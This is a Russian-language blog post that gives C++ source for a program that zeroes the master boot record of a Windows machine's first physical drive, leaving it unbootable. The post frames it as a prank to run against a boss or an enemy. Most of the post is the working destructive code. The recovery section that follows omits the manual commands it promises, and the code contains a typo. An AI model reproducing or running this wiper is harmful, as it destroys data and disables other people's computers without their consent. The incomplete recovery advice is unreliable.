Сносим MBR недоброжелателю [C++]

Сносим MBR недоброжелателю [C++]

http://t.me/Torchik_Ru

Доброго времени суток, господа. Сегодня займемся кодингом. Будем писать простенькую програмку для босса(ну или кого Вам там надо). В этот статье Вы осознаете всю тленность бытия и поймёте, что любая програ, необдуманно запущенная, может принести батхёрт. MBR можно легко восстановить. В конце статьи покажу как, а то вдруг еще на своём компе опробуете.

Я уверен в знаниях любого из Вас но лучше поясню. MBR - главная загрузочкая запись. Функция MBR — «переход» в тот раздел жёсткого диска, с которого следует исполнять «дальнейший код» (обычно — загружать ОС). На «стадии MBR» происходит выбор раздела диска, загрузка кода ОС (происходит на более поздних этапах алгоритма).

В процессе запуска компьютера, после окончания начального теста (Power-on self-test — POST), Базовая система ввода-вывода (BIOS) загружает «код MBR» в оперативную память (в IBM PC обычно с адреса 0000:7c00) и передаёт управление находящемуся в MBR загрузочному коду.

А теперь - кодить!

#include <windows.h>

#include <iostream>

using namespace std;

#define MBR_SIZE 512

int main() {

DWORD write;

char mbrData[MBR_SIZE]; //размер mbr - 512 байт. Они будут нами перезаписаны.

ZeroMemory(&mbrData, (sizeof mbrData)); //заполняем блок памяти нулями

HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);

/* PhysicalDrive0 тут ноль а не буква "0". Мы открываем на запись и чтение наш раздел с MBR. Ниже записываем все говно в MBR */

if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &wrire, NULL) == TRUE) {

cout << "MBR is over written!" << endl;

Sleep(5000);

ExitProcess(0);

} else {

cout << "Failed" << endl;

Sleep(5000);

ExitProcess(0);

}

CloseHandle(MasterBootRecord);

return EXIT_SUCCESS;

}

Скомпилили и запускаем.

Далеко не самое страшное окно. Оставим это Вам на доработку. Перезапускаемся и смотрим на результат.

Видим что система не может найти раздел MBR. Оно и не странно, там всё записано нулями. Изза того, что невозможно считать информацию из первых 512 байт харда система забивает большой и толстый болт и отказывается запускаться.

Восстанавливаемся

Прошу заметить, что процесс может отличаться на разных версиях Шиндовса.

Автоматический способ

Первое что надо - создать загрузочную флешку с Windows 7(а точнее с той виндой которая у Вас). Запускаемся с флешки.

После этого, в зависимости от используемого дистрибутива, вам может быть предложено включить сетевые возможности (не потребуются), переназначить буквы дисков (как хотите) и выбрать язык.

Следующим пунктом будет идти выбор Windows 7, загрузчик которой следует восстановить

Восстанавливаем запуск и радуемся.

Ручной способ

Грузимся в режиме командной строки и поочередно выполняем:

Эти команды заново запишут раздел жесткого диска и всё будет чики-пуки.

Report Page